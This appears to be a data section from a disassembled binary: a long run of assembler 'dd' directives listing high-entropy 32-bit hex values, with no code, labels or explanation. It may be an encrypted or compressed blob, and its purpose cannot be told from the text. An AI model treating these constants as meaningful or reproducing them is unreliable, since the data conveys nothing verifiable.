dd 80FD5B4Ch, 33BA773Fh, 0B7DA9831h, 50422F5Eh, 0A787CB57h
dd 90914B76h, 0B19E014h, 0CE89B9D5h, 3DC28BF9h, 803005DAh
dd 1DB551ADh, 5EF58016h, 6D71850Ah, 72685060h, 49349B1Eh
dd 8C76C9FEh, 22E630A2h, 39E4EEB5h, 7D50F524h, 35308305h
dd 10EFEE85h, 5E240857h, 0D454E9AEh, 9C3A5571h, 0D3675CA4h
dd 0D44E9B6h, 72CBF5D2h, 4F093020h, 4B450F1h, 240A8858h
dd 96AFF4E2h, 9309176h, 0A4EE3E7Ch, 33E88324h, 0F9759009h
dd 0A48EEA09h, 2790E2CCh, 15CE10DFh, 66732F67h, 1C62A7F6h
dd 7AD65DA5h, 2069F15Bh, 0A740B939h, 0F1B802F2h, 5EF08993h
dd 785562D5h, 3540001Ch, 2794309Fh, 832CE948h, 7EA6B349h
dd 7E26322Ch, 0B2C7F381h, 0DB61695Ah, 0DF2CACF4h, 0C5DC25EDh
dd 4F18E4BFh, 0FB2D30AEh, 20E50871h, 2913B185h, 2AB42EB0h
dd 61FD7687h, 0E66808D7h, 61316F0Dh, 0B0052A4Bh, 4F7FE84h
dd 3687981h, 0C6F3F5C2h, 0A614D082h, 43F8F51Dh, 0C706E16Eh
dd 0E5934903h, 0BA2A4B36h, 2AD42E93h, 2CAA5A55h, 0BA75453h
dd 8A5EB6EAh, 0DCB5C272h, 0C0CC2502h, 0CC97A297h, 0E662AB1Fh
dd 2FF3B3E9h, 0E5A77BD4h
dd 8252E428h, 0C7DBE58Eh, 372F0A7h, 53525BBFh, 0BB95C788h
dd 95BF6B64h, 5AEB0EE4h, 35E1FB52h, 76E568C8h, 0E9C9C57Fh
dd 0D5AA5F17h, 548A5E8Bh, 49394B2Ah, 43FF68CFh, 1B522712h
dd 0E9F01272h, 0BED0C0C3h, 333D3E8Ch, 73F7241Fh, 4AB0FDA5h
dd 0D8823B1Ah, 0AC350B38h, 9A58013Dh, 5BD97D49h, 0A83AC9E1h
dd 0DD5F2FFBh, 0E9179694h, 8D44AB3Eh, 0BB52782Eh, 546EF0A0h
dd 1FF7BA36h, 7D8F7AE2h, 0B9271896h, 0D84D89C6h, 4CC59805h
dd 4400C356h, 6835CF3Bh, 2BAA62BDh, 6F30D680h, 0BAFA1995h
dd 91F9D717h, 0AFF405AEh, 97EDA390h, 0EFA040AAh, 1185E901h
dd 252A9697h, 75E6A268h, 1A5DB801h, 592D4F4Bh, 21E90B86h
dd 0C25A6718h, 949010EBh, 9F1CEA5Ah, 36CF02AFh, 98FCEC57h
dd 46812DD6h, 7F3D4B5Bh, 0C4789148h, 65A073B6h, 0FE741DEEh
dd 36CE4FC6h, 327BFC1Eh, 950619EBh, 0AE864BFFh, 3771F706h
dd 147DFB2Ah, 0EF14243Bh, 0BD5E6CCAh, 96BC4FDEh, 9E15D281h
dd 92D36B63h, 6800D4B9h, 82D5E9Ah, 89CFAFBEh, 9C79DDDCh
dd 0C8186A80h, 0D7DAF746h, 2700EB04h, 5C3F4450h, 0ADFE9F2Dh
dd 4347E906h, 0BC094A5Ch, 0F7F60248h, 55405F1Dh, 3D9B69E0h
dd 51FE5781h, 0BD2D4073h, 5448B80Ah, 573C7B69h, 51198B55h
dd 590B5560h, 34D58492h, 0DEE92715h, 0B54091E2h, 0F197B2EAh
dd 0B5566969h, 0E4FDA7E2h, 7197061Fh, 364350C8h, 0DB49F10Ch
dd 177B0C67h, 0E8475C44h, 73ED4AD0h, 329FAB1h, 0AA521D5Dh
dd 0E285F3Fh, 241C0EFDh, 0A2542E2h, 0A25AD8DCh, 1F4D40h
dd 0F52092B6h, 0C59FC097h, 0B1EBEE68h, 0D3DE6FE3h, 9890EB79h
dd 3D1E73B9h, 0DC126AC2h, 0D57A2035h, 544B8447h, 52D172BEh
dd 8957D1DDh, 0C8F888E9h, 4EF93139h, 83E094BBh, 534BDC0Dh
dd 0C27E5FFAh, 52BE68DEh, 0CE0CC24Ch, 0D20B320Ah, 45BDBCBAh
dd 0B338C759h, 0C1195314h, 680665EEh, 1D947A90h, 9ACB7EB4h
dd 131C94B5h, 0B3703068h, 61D434EBh, 0EF92EDA6h, 589D88B3h
dd 96F661B6h, 0BE8A9C13h, 0F877B0AFh, 0A0887998h, 0EC50EA80h
dd 0C91DB0E0h, 589EC208h, 886CF2C1h, 89705AD1h, 6FE912FBh
dd 0EAB5491Ch, 0B579187Dh, 62DDFE11h, 60DEC544h, 0A959490Fh
dd 0EC09DFABh, 0A7764907h, 32C8DBBBh, 5080A967h, 0C3F2E557h
dd 0CE97143Ch, 0C93D9D8Ch, 0CD2FE798h, 5F0E10E3h, 5C683ACAh
dd 4B9469F7h, 0CB93580Bh, 0D20BEA9Ah, 9E5F975Dh, 84214F44h
dd 778BAA2Ah, 7A88B72Fh, 303709A8h, 72972464h, 0E2F5EB63h
dd 0AC2E1B6Ch, 7E542D3Bh, 0ADE47CA5h, 4EAE9E6Dh, 87448944h
dd 0F4590B46h, 0F0680E3Eh, 1168EEB7h, 0F8464BDCh, 3EE9A50Fh
dd 992CB441h, 16E9BC7Ah, 0FCFAA429h, 5A52BB40h, 0D2C95FBAh
dd 0A8F7ABD1h, 0F7735D2Dh, 31BEB393h, 0D754A07Eh, 62F381D8h
dd 2E5F4C00h, 4398C2BAh, 9260B76Bh, 5A4AD021h, 0B276D5A9h
dd 580BBDAEh, 5EFA9677h, 811900ECh, 7C2EE1CFh, 27E4424Bh
dd 0A76902F7h, 0FE091139h, 0AA2C057h, 5C27050Ch, 8202E3C1h
dd 470A24A8h, 65EF1012h, 6E1D0905h, 0AF8234D9h, 5F31A31Ch
dd 9800C153h, 0E917E030h, 12E5BC69h, 0A47FA866h, 5840382h
dd 0A93DEA5Ch, 106AFD6Bh, 51280794h, 0F1AE5AC3h, 0F6942D18h
dd 1C7CB774h, 0FA30AB68h, 9E4B09ADh, 0F657039Dh, 0FBFFFFB4h
dd 0FC9FDF9Ch, 316152D7h, 0AD463412h, 4E4A1DECh, 0C6806BB2h
dd 18134156h, 0AE0F2898h, 80017D50h, 84578ACEh, 0F8E91319h
dd 0F288BC44h, 29AE683Fh, 0AB459DC8h, 0B9F91D93h, 31DA6786h
dd 9893709Dh, 6BEC0CFDh, 5B7602A3h, 0D69595E2h, 0BE80B9D3h
dd 0E9E1EAADh, 3CC9AC7Ah, 2AFF35Fh, 47863E05h, 0A04E80DFh
dd 160DC40Ch, 0E971F1E9h, 0C241270Eh, 6001D985h, 4D442F68h
dd 0E91359E8h, 0F6F2A3F9h, 0BB9A7A84h, 522B848Ch, 0A9482239h
dd 0F2E9521Ch, 0CEB053F1h, 0CFFCE8B2h, 560A3BBAh, 917C3E68h
dd 30EF2F93h, 0F6A2E99Fh, 4BDF109Dh, 0F06A5EDEh, 0D39AF594h
dd 97C9CB7Dh, 2151A05Dh, 2255EF0h, 5C60126h, 45DE0C1h
dd 27FF3129h, 56D882D5h, 55586BC6h, 9F844EC1h, 0E17DA8FBh
dd 546B0629h, 0F91E4F97h, 8B5DED81h, 0A8D2D954h, 7F4B814h
dd 981B63BFh, 2635A34Ah, 28F1B71Eh, 0D7594B89h, 93D01320h
dd 41BFB6AFh, 883B423Bh, 0C49D5259h, 5B5148B2h, 0D6F75EA0h
dd 55E1169Dh, 2D30A6EFh, 0D3F7800Ch, 0CB0990B8h, 2C16069h
dd 0F173210Ch, 249809B0h, 5E82E071h, 4061D653h, 245C55BCh
dd 3C5762D3h, 9F08EB28h, 30671C8h, 0C29BB69Fh, 7295E90Ch
dd 7B625254h, 0AD46452Eh, 0A8684325h, 71BA4A55h, 6416E94Eh
dd 0BF132D98h, 3509A460h, 265DF01Bh, 0EE95F55h, 0D3DD0DE7h
dd 0D13C0134h, 3B2D8A06h, 17E90AC0h, 207D979Ch, 5B42044Bh
dd 0A055950Ah, 0EC957B1Fh, 4ACAA90Dh, 0FF03EA11h, 3651EB98h
dd 0DA186366h, 62B0942h, 0E9D6559Bh, 0D7209F0Bh, 7C245015h
dd 62D3DC2Dh, 0FE7612C2h, 2DF6C6DAh, 0DB83DEE9h, 80045F54h
dd 2AFC1407h, 85032882h, 0E1AAC706h, 405E9731h, 0A407D3B9h
dd 0B2121A28h, 0EB0804F2h, 0EFD2CC03h, 105ED980h, 96BBA37Ah
dd 0DDA2DFA8h, 0C3CFE957h, 0A3A4AD2Bh, 0EDAFD47Dh, 2769D1D0h
dd 43EC55D2h, 0F991544Fh, 4D89432Dh, 308253E5h, 29023815h
dd 490EEEEBh, 680B3066h, 83EC27AEh, 0C108B390h, 37F1F12h
dd 71FC7515h, 7D27E6B0h, 649902Ch, 8F4EAE00h, 0BDDEF74Dh
dd 0E989CA79h, 68A0A1F6h, 158966E1h, 155E5017h, 209E4C7Ah
dd 455AFD57h, 43681642h, 9724C2Ch, 749F3259h, 702D775Eh
dd 8EB179Dh, 823F014Bh, 47579B07h, 87B070B6h, 0DD4E29AAh
dd 0EF3DD7AFh, 50E33112h, 80F16AB4h, 6AE3F5h, 28E6B5EAh
dd 569759EBh, 0D8B47827h, 0A57CFB9Fh, 254F36DDh, 0DDA0B6E9h
dd 65E017C6h, 9EB524Fh, 0E281DF78h, 0EEF83608h, 0E07D458h
dd 29FCE72Fh, 483AE9F1h, 71B1548Bh, 0F52D70F6h, 0FC51A9B9h
dd 0E148C019h, 0D65F2518h, 9D4C2A1Fh, 82DB9BF4h, 488683C3h
dd 9930AB80h, 0D72F1EEBh, 0EE105D77h, 7D696FD4h, 2909FBD3h
dd 67C4D03h, 20E643E9h, 0DEE05B5Fh, 1E597FF8h, 5E972C15h
dd 520F7AC8h, 0BE57B050h, 2E862305h, 5FC9EEA8h, 2781CD00h
dd 35353299h, 0B2EA0B85h, 3E90B37h, 0C31968EDh, 0D3BE8022h
dd 6658D798h, 0E741A65h, 112A41ABh, 49A4CB55h, 22F50681h
dd 0C23AA310h, 1967931Eh, 5EEA29C9h, 0E9F258F0h, 44F8BB30h
dd 325943B8h, 2C661C3Ah, 25235F6h, 5195C0E5h, 55B3019Fh
dd 0C118C180h, 0D62E31D9h, 0A3C89285h, 665203FAh, 4D655C68h
dd 8A5EB520h, 0A305B35h, 0D64275E9h, 749BA428h, 2DB80516h
dd 6EBCD153h, 1079A1h, 934FBF68h, 619302BAh, 82606D7Bh
dd 0AB3B0E7Dh, 0C2E3032Fh, 36DF4Dh, 67DDF818h, 0BF08E9B8h
dd 417B4C9Dh, 72A83089h, 0EF188A82h, 3FC6973Ch, 0BDB530EFh
dd 7A276EBAh, 82DC2Ch, 0E3CD814Dh, 104EFF3Ah, 0EAE93980h
dd 0E92FE12Bh, 0A975CBD3h, 0F0F37F2Ch, 0C229DFEBh, 0BB74D1D5h
dd 0AEE8E0DBh, 66066A16h, 7BB10FBh, 0C4E95E04h, 0B02F8835h
dd 0E3D015Fh, 662A7429h, 97494D6h, 26F0FCE9h, 77A5C993h
dd 0BB5C366Ch, 0C83984ABh, 1652B2EEh, 12FB5B70h, 0EBF917FDh
dd 0EF2FFE2Dh, 0ACBC6464h, 578DFFD2h, 27216A61h, 0A92F6A61h
dd 0DB247ABDh, 0C88B501Dh, 0EF0FD559h, 16E7D566h, 0D32D9536h
dd 0BD5C9F0Ch, 0B419F501h
dd 0FCDC13B0h, 12EE2540h, 7825A58h, 681B215Fh, 0E90169E2h
dd 2F512565h, 75D804ADh, 43944E87h, 0B4DF0549h, 0BF2D04A0h
dd 193DE7F4h, 0DEC50C41h, 0D707892Ch, 0E42EEB56h, 53BB093h
dd 0F30E3801h, 2DD00103h, 67BA0744h, 6355C96Fh, 0AA464AD7h
dd 35E9E302h, 787D91Eh, 0B420478Fh, 0B313FE4Bh, 5D4806B6h
dd 3E7F417Ch, 995D301h, 0B52E030Bh, 40805BBh, 12560228h
dd 3821A2BEh, 0D77C4184h, 0F7825C53h, 956268F9h, 63642156h
dd 0AD03CEE8h, 0DC591005h, 471950DFh, 57F44E2Dh, 80FB452Ch
dd 49E9D804h, 0C24B19BDh, 8BD0F4ABh, 0E53525FFh, 1209F370h
dd 5C55515Dh, 0BD0B1648h, 6EE50379h, 0B014D532h, 302CEBEDh
dd 20C6AE1h, 9485706h, 350179DDh, 0BAE93E83h, 277BFF19h
dd 0CEA94939h, 0BD30BFF0h, 2B91EA7h, 38261A6Dh, 72401A49h
dd 5137336h, 8FADE954h, 5F486809h, 51881B51h, 0EBBA122Dh
dd 0D6291081h, 416A59F1h, 88A0C65Ah, 0CB9BFFF1h, 0CC6982E5h
dd 84826FC2h, 296E249Fh, 527ACAC0h, 63E93BADh, 5B7197Ch
dd 0C480B2D1h, 0FE3F9FF2h, 3C4498CAh, 39A8F135h, 8ACC905Bh
dd 0CC05EB4Bh, 0C8AFCB29h, 0F6FC461Bh, 89CD0809h, 0F14E81B6h
dd 35217043h, 0F37F55F5h, 14C812EAh, 13F4A90h, 290B256Ah
dd 0ACA6655Dh, 68030289h, 6DF5272Ah, 68602DEBh, 20121E85h
dd 8FA5E29h, 67004E14h, 0E976A3BCh, 76DE9AE7h, 3DEC2653h
dd 0E8C196B2h, 0DCF74FEAh, 0B5271650h, 522A394Fh, 1D90720h
dd 555D6851h, 6E597549h, 0B3E0CF0h, 0A3E94DB6h, 48BAA970h
dd 1307A73h, 0B2CEA439h, 659270Fh, 0B5C64E55h, 5CA736F1h
dd 0E6D10970h, 250F5C70h, 56238A61h, 54D75FAh, 6505697Eh
dd 0F48ABE5Fh, 0E2CE5C26h, 0F527ACC6h, 12E2E4F3h, 425DEBE8h
dd 73C53483h, 0D03AB1FEh, 96975B08h, 846F5E06h, 4E31EFD9h
dd 0B900CBCEh, 0B3013B78h, 0FE13BD6Eh, 0D4FC011Eh, 0EB1ED292h
dd 0A560E929h, 0B8DD582Ch, 0AEEEC627h, 8933089Fh, 0FD9DE420h
dd 64BD0C9Ch, 393C44CDh, 0A295FE71h, 5D546845h, 828B50D1h
dd 0A7F9D3ACh, 0E4C1075h, 2C5921Ah, 0EA0837F5h, 7E7B5159h
dd 0D2F60104h, 7736AA92h, 47D7CF09h, 10CB247Eh, 7813B8Dh
dd 0E7A3D050h, 0DA2053B2h, 683C122Dh, 8844EE66h, 0F1B95808h
dd 3056B007h, 221AB2C7h, 0FDC3CE5Fh, 82962670h, 0A459D45Dh
dd 0BDB10ECh, 455505Ah, 93E19DC3h, 0D3BD1080h, 0B809C42Ch
dd 0FA4ADD0Ah, 83C2E85Ch, 95E10FBAh, 0E9B07AF0h, 0B4E581E0h
dd 66E32851h, 626C4820h, 0FD7EB53Ch, 0B292BB8Ch, 58D1AF40h
dd 761033E2h, 8ABA02F3h, 616528E8h, 21057CD0h, 6BB5482Ch
dd 0FAE8DCD9h, 4964BC15h, 2180017Dh, 4B771C6Fh, 172CB848h
dd 0A825BB45h, 0AD365B0Bh, 0C5B3E92Ch, 68504AACh, 0F31B972Dh
dd 2F12A0C1h, 32591830h, 833A121Ah, 806F04EDh, 4168035Dh
dd 580BA820h, 0D36F0935h, 9484F494h, 78CEEA21h, 0D96523Fh
dd 0C60AB41Ch, 9C10703Dh, 0FF794E50h, 5BB6CA49h, 29B4DF4Bh
dd 0C6895712h, 45A2AB75h, 0ED680500h, 71BE348h, 7C792CB3h
dd 44AB26D5h, 12DE478Ch, 99B571AFh, 0AAE544FCh, 0D0F775C0h
dd 4DD90F25h, 1CE566D5h, 0EFDC35C3h, 55199749h, 0F0AF9651h
dd 0D6DE95D5h, 4A9CE970h, 2FEFCD81h, 67C7C2A4h, 72F1B902h
dd 1C49D7F0h, 0F6912BCAh, 0DD51213Eh, 0FB78386Ah, 51F568B0h
dd 0B40BDAACh, 47DD115h, 9B10BA6Dh, 2C05C150h, 3874C56h
dd 7B699079h, 6EA3F8D9h, 4710BB8Ah, 0C9592F92h, 17A38DCh
dd 7D27BE65h, 427520E4h, 71FE734Bh, 34611006h, 5B25D8F6h
dd 5D8A7505h, 0C8F92FB8h, 0CDBB8EC5h, 99BFE05Bh, 0E32C0592h
dd 0D702D907h, 0E943D1DDh, 17AE192h, 66AE04EFh, 0A484205Bh
dd 0F07B1A41h, 0E6008130h, 6FC47E0Dh, 0BC6BA52h, 936B91Eh
dd 609E27Eh, 65D5F6FCh, 415A89C2h, 6AC695E9h, 0B25B54B3h
dd 89497EB7h, 90680ED3h, 0D6620977h, 0C40C27Fh, 2F08CC7Dh
dd 17E67EEEh, 0EB0BA09Ch, 254F4572h, 549D4016h, 0B2124999h
dd 127485Fh, 0B163B0FDh, 20242489h, 4390B7C8h, 0F6178205h
dd 0F609FAB5h, 27587212h, 94F76735h, 4D31FAE7h, 8F08A74Fh
dd 77243042h, 3D2C912Fh, 3F64D0CCh, 78AEDF21h, 1B49732h
dd 0B658E1E2h, 3ACEC1F3h, 0FFF40EE8h, 3026352Bh, 0A3E0829h
dd 4E93040Eh, 2CD80711h, 807CD149h, 0C5806AB5h, 0D55A86FFh
dd 224C8EADh, 1C5F427h, 0B9A32526h, 0CAAA5E93h, 2399178Ah
dd 224530FFh, 115BF24Ah, 37AAAE12h, 650ECCE5h, 0E82FDD02h
dd 5D75EBE9h, 68C10251h, 4B3209F0h, 54778275h, 0A1004B1Ch
dd 4A1C423Ah, 0EA7FE93Eh, 0D38CC423h, 0BEDD5C7h, 286210BDh
dd 1BDE81D7h, 0F5217EBFh, 5A57B2E4h, 104DBD01h, 8826E1A5h
dd 0EC62133Bh, 8DDE4F10h, 60D9EB4Eh, 814C5A30h, 0C0FF7052h
dd 68391D1Fh, 46C6AF39h, 0C56A97E0h, 0D46CD3DCh, 0B750037h
dd 0F79BE40h, 0F6BD0203h, 0BCF5253Dh, 0B066BF9Eh, 9C0E4D24h
dd 2D5DE885h, 0A21271B2h, 9839FB82h, 12DFAC2Eh, 6402F9A3h
dd 0D534875Ah, 43FE7D4Ch, 649D0B4Fh, 49424C30h, 0AC4A9B1Dh
dd 0C07310D8h, 0C9E3811Fh, 0BBE04B45h, 0EE0B0192h, 0E3EB831Bh
dd 15B5F95Ch, 0F4892442h, 0D2F292E0h, 0C9482C24h, 4400F6B9h
dd 0EE819693h, 609C4622h, 73920C67h, 12C5563h, 8209BCEh
dd 25140CD0h, 0BE095D59h, 76021B74h, 5A3D1877h, 74E4A03h
dd 75C3580Ah, 68834520h, 54F610h, 39C3566Eh, 0C3A103E9h
dd 0CE5EC6E5h, 53C845E2h, 0D782411Eh, 0EA45B7E2h, 7A593580h
dd 0EB50CA16h, 0C0EBB23Fh, 886E69BFh, 0A0E9137Fh, 0EAC99001h
dd 0D0B55C07h, 5EC228E0h, 946F4FB4h, 1608162Dh, 53B8C0B8h
dd 22F0CF88h, 7548C2B5h, 0F7A55D71h, 35032718h, 2A2A1392h
dd 0BD0BB92Fh, 58AAC231h, 0CDD2B7B4h, 2B2E68E6h, 0F9C23021h
dd 0A7997F35h, 1787EC77h, 37EA5D4Ah, 2DB160D2h, 5CB7081Ah
dd 0D4B70B66h, 0A13B4CDDh, 0C10088EAh, 810308E5h, 2FE666F5h
dd 0B12F198h, 145E1764h, 9D2CB568h, 76B850C0h, 42120F13h
dd 69B1DAE9h, 0C0D6A33Eh, 0D1685350h, 48427459h, 460495Bh
dd 7974CB81h, 2E4EAF3Bh, 0EF0B07F3h, 887CF66Eh, 23FD57Ch
dd 0E26B35F2h, 6FC2C00Dh, 34F3272Ch, 880E952h, 0FE97148Bh
dd 366878CFh, 0F1BE1454h, 0BB5A1360h, 5A576417h, 55F813Eh
dd 0DD2334h, 2FB15152h, 9D278A68h, 803C6718h, 0FE04ED7Ch
dd 7E5C0CDh, 0F6B7FBC0h, 5AE925DDh, 0E3710D89h, 271B16B3h
dd 68005444h, 18B40163h, 0A6CE8102h, 422EEC75h, 26878073h
dd 24E94602h, 0AC72783Fh, 0EF4716AFh, 31685168h, 17DF1F4Ch
dd 3D426D3Dh, 1924C1ACh, 5B544081h, 391D3058h, 2BB8CBFEh
dd 0E9030661h, 64319216h, 1179E4FFh, 31144965h, 0A930E0FEh
dd 818E2C4Ch, 2A1D1B17h, 38ADEC6Eh, 5A469375h, 7167384h
dd 0BB534E60h, 8817289Fh, 0A6A820F3h, 0EB9CD1BDh, 0C34A63E6h
dd 39F19EA4h, 58801893h, 7C4B6C05h, 0C828015Dh, 5905072Dh
dd 6FE9E0D1h, 0E95B67ECh, 99FC5FE7h, 0E91673B6h, 8CAA6B65h
dd 0EBC02DABh, 0A0C045F1h, 0CB012D08h, 0C3C2F956h, 1396FF02h
dd 9F209E22h, 0E9093D6Fh, 0F2686B68h, 60467E75h, 431E60A0h
dd 7BF75495h, 8DE98D0Bh, 3155E842h, 0D6FDE4EFh, 5ADFFC08h
dd 80DA00F0h, 601914BAh, 631615C4h, 17DD0AD6h, 1E16EBC2h
dd 16DF5FBCh, 827804BAh
dd 0DDEC802Bh, 174C4E1Ah, 68177787h, 6E142D0h, 0C4D6EC3Fh
dd 37B3FDDFh, 455F5725h, 947DAF02h, 0C19999Bh, 0B644024Fh
dd 0FBB1BF04h, 40ECF130h, 0E987B2C0h, 1E96CFCBh, 81B4BFE3h
dd 592072B5h, 83C69ECDh, 0D92C49C7h, 0FF5E5B82h, 2B15D2C1h
dd 0FD41802Ah, 4467E248h, 0B9C1F90Ch, 0D72E4B57h, 9F4E617Dh
dd 0A3203AA3h, 97B4F0E9h, 1811175Dh, 0B0E9FD5Ch, 5AAE8E49h
dd 2F7953E8h, 6DCCA0E3h, 70E1C983h, 2B316F3Bh, 0DFC22F76h
dd 0FD2735DBh, 0CE29A390h, 0A48C595Fh, 731325E9h, 8F465D5h
dd 0C42D801h, 0D9020BB6h, 89669DF1h, 482A6812h, 0A8B64F30h
dd 0D4F35130h, 6C477DC6h, 2D90988h, 0DD302FB5h, 37FFB40h
dd 550FEABDh, 8B57B9CAh, 0CA66D73Fh, 34DA7F6h, 4F4817Ch
dd 2D7C5747h, 0A07454Ch, 701A8C16h, 65D31CF8h, 2BF43507h
dd 0EAA0449Bh, 957A7234h, 45603042h, 5E2801D4h, 0C301F57Fh
dd 782651EDh, 2F2CF8E9h, 3AFD3327h, 1729AE4Ch, 1221C9A0h
dd 82AFE9F8h, 64DF5A81h, 0C363E740h, 29BF0979h, 7D0CF9E9h
dd 6E0F86BEh, 3F58038Fh, 52605E83h, 0E1E7F35Ah, 4281F037h
dd 28368BC7h, 0E853014Dh, 3F7077C6h, 90171F25h, 2768521Eh
dd 4FF67825h, 5CEE5D5Ah, 18090AB0h, 7715AE53h, 80A0142h
dd 9D57A7A8h, 3888899Eh, 0F657A7EAh, 5A58017Bh, 0E92BF780h
dd 50673C4Ch, 4141D822h, 0E56EDE31h, 6E8E216Ah, 0DD5E9909h
dd 0F74C1E22h, 5AAD6801h, 0FC53FA4Ch, 65766D80h, 0ACC52FD1h
dd 0F37D92FAh, 32F00077h, 10CEA6Dh, 635E981h, 0DA832CA2h
dd 0C0E2A357h, 0FD755E5Dh, 0AF8A18Eh, 0B5C78415h, 9CC9F01Dh
dd 13529C97h, 0BB17CA68h, 2128CD6Dh, 9124FAB5h, 7D61C282h
dd 45F70889h, 6BAE3F98h, 175EAFFCh, 8AEA5712h, 29BAD249h
dd 272D2AC3h, 0AD36527Ah, 4A0612D4h, 0B360D8FFh, 0D928800Eh
dd 0A0EB8B5Bh, 9FE9B28Ch, 409C9D3Eh, 3C626816h, 0E44A54B3h
dd 1900B959h, 816C452Eh, 97F16C9h, 0DDE97D3Dh, 62CEAFD0h
dd 0BAFA1C9Bh, 0A15BFDC3h, 25BA6C00h, 2611845h, 50FAE281h
dd 0C0FD6828h, 35846Eh, 0BD556C73h, 717664D7h, 168D215Ch
dd 4BB023E9h, 787EEF54h, 29E9E9BDh, 0DBBB02EAh, 0C236CE05h
dd 659ED765h, 0EB01BF90h, 75574E6h, 95FFC329h, 0F30814h
dd 12AA648Fh, 0B7B8F6E9h, 0F0BDFA46h, 0D0169D07h, 5F190504h
dd 10EE18AFh, 564E07EFh, 0C266ADFFh, 76470E68h, 775C70F5h
dd 39EE8380h, 4F8B8101h, 0E899860h, 5A46C4DDh, 0BB2BD5A5h
dd 0D704FB49h, 0E90BFE65h, 0B07140A0h, 517E9755h, 0D75204C9h
dd 95A17BFCh, 43656BE1h, 0DAF93745h, 43ED0C52h, 40E2234Ch
dd 0E19DF2C4h, 4320D807h, 3BD0B7C6h, 0E180D118h, 9549E906h
dd 2FE783FDh, 0C828E804h, 0CB92968h, 40B38291h, 0C07DE3D0h
dd 0E7C3CBF8h, 2CE9BCDCh, 427FAFAEh, 4FAFBD6Ah, 0FCE8E6C4h
dd 0D558C972h, 0F1B96FE8h, 0B189FE41h, 9CF5B6C2h, 4E3BFCDAh
dd 0A1D5E458h, 707B34EFh, 0CA98579Fh, 490F033Ch, 0B8F68110h
dd 132B050Dh, 0A27ED76h, 17072D81h, 0D260AE5Eh, 2C509605h
dd 141D347Ah, 9D7D072Dh, 18BDC3C6h, 4FCA29C7h, 0C4E1E259h
dd 0AA175485h, 2FDA4B16h, 6BC2B725h, 0A5D54755h, 68140D94h
dd 0D8CB6A02h, 661BBC4h, 0F75F741Bh, 4F5104DFh, 88C22E99h
dd 78765D54h, 76307FDAh, 688043BDh, 0F35E4F14h, 0B3C586Dh
dd 2B04DC8h, 0DD553D61h, 56001259h, 0D826D9BEh, 0F321246Fh
dd 0CBE301F3h, 600F542Ch, 0FF82E706h, 25CC4DAh, 2F3A2008h
dd 9116EB31h, 1F462D1Ah, 5EB8520h, 0CACD0712h, 5F750630h
dd 50AAA221h, 0F4276E44h, 0BC455DFEh, 9AF8893h, 2A22AB91h
dd 0CDE1D9BDh, 61B32FCDh, 94271693h, 301029A3h, 5A025926h
dd 34E9720Eh, 704C5510h, 29383F30h, 2C171AC3h, 0A54C7FC2h
dd 0F88007FCh, 0A23E1205h, 30FF2435h, 49DD1F33h, 72572FC8h
dd 8346BF48h, 1991DB80h, 25618300h, 15623239h, 47298C1h
dd 42021C2Dh, 9584BF20h, 79F8E3AAh, 70B7F677h, 2DED04B0h
dd 0BE1C5E4Fh, 6808F450h, 0F425141Ch, 40F1D9EAh, 0F30BE954h
dd 0C6785EBDh, 460A81C7h, 900BD906h, 0FC39C225h, 4CE656Bh
dd 0CA3811DAh, 7B681484h, 2DFE5AEEh, 1F2386Ch, 626E181Eh
dd 0E82CE4E9h, 0E28B503Dh, 8083FBBBh, 4F1C531h, 0EACC5493h
dd 5E163404h, 5B8F98FAh, 2CBE035Ah, 1A2D68F9h, 252D4630h
dd 0E677E3D2h, 1CD6B78Dh, 396292BFh, 0EDEBD9BEh, 0D946283Ch
dd 312FEE70h, 5E6DB4Dh, 4DC25EBEh, 2E120F3Eh, 0FAD2C2BDh
dd 0B787C210h, 0E5D5FCB7h, 0E564B41Eh, 113F8B8Ah, 0E3B86683h
dd 0C684A74Ah, 0FF07E582h, 7654C0B9h, 0C9715D7Fh, 75001202h
dd 30B513C0h, 0C106FC41h, 0F3E880FBh, 7B94B737h, 21BDEE5Ah
dd 8A9FA340h, 0C809848Fh, 0AB77DB2Bh, 8CA1DD7Eh, 0ADD02158h
dd 68E8015Eh, 0B234D6Fh, 4698B902h, 83552EB8h, 0DDA36853h
dd 7A87A54h, 22F97EB2h, 4FB99h, 0FE3D0835h, 29D0901h, 90E17DCh
dd 0F695D178h, 0D1D4A75Fh, 4BC66102h, 55FB42C9h, 7027357Eh
dd 0FABE303Dh, 87048DBEh, 0AF56815h, 41E90D42h, 54620EEh
dd 475A9D0Bh, 0BDC104F7h, 5A32F72Ch, 0A2AD257Dh, 0DFDA4E74h
dd 0BE806E52h, 0F8B1502Eh, 4DFF6693h, 2A6F051Fh, 5102A68Ah
dd 0F6B3D2B5h, 6C7EC05Fh, 0EE71C033h, 14D0B626h, 165CFFA0h
dd 5C7F8025h, 1B08A006h, 33FC26E9h, 17E2E409h, 1A5D028Ah
dd 2B90072h, 0BE4BB28Eh, 17AB0F17h, 1F9CFBBCh, 0EDB234E9h
dd 0AF7E04A6h, 80AA1757h, 44E75425h, 7849F27Dh, 5F0527BEh
dd 51DF4709h, 0BD5560D4h, 0DC000B73h, 59ECB919h, 48315F80h
dd 1E3E36E9h, 2E5CA4Bh, 0F1685FF8h, 4AE9024Ch, 0C0C09EABh
dd 65BD07A5h, 0C45F3B35h, 4400BED0h, 2C5966B1h, 7D7EFA05h
dd 2636FD37h, 2880253Ah, 0E8C13C6Eh, 0D92FE903h, 0A55BD1C2h
dd 0EB814DB8h, 0A8BF59B7h, 579940EEh, 52E1BF0Fh, 7DEE38F9h
dd 6DB92F1Fh, 0CF5B835Dh, 600E890Fh, 3F6BC8DBh, 0AAE74E4Eh
dd 6F9FBC05h, 0B5AFE294h, 35959CE7h, 29DD4C1Eh, 0C6E7F74Ah
dd 2F174C3Bh, 251FFE28h, 41246557h, 200D1595h, 9B7AB4Dh
dd 54EA74C4h, 1DC5614Bh, 93D7A2EBh, 7CEAC9BAh, 54E90C00h
dd 0FCB851Fh, 3FAC3D3Ah, 0FEEFC062h, 62F5D1F5h, 0F0D9B54Ch
dd 3811A208h, 0F6EFD85Eh, 0C25E80FEh, 78B564F4h, 94F53D4Eh
dd 0FF60ED96h, 0BCE688C3h, 1C044695h, 1EA1D77h, 604A26C1h
dd 0C875DA01h, 0A4440687h, 636807DAh, 52527896h, 656C62C7h
dd 5B153609h, 0AFC0C06Ch, 2298957Ah, 0FE40F59Bh, 8551BF44h
dd 5588509Fh, 5FA43956h, 0AA0549AFh, 0F0AAA8B8h, 1F4EE6D1h
dd 1C683h, 0AFD3CDF6h, 0F04F3106h, 0EA42C2D9h, 0B709D511h
dd 947A01F4h, 0F9024A0Ah, 547FA2A1h, 1C5D2F53h, 630BF26h
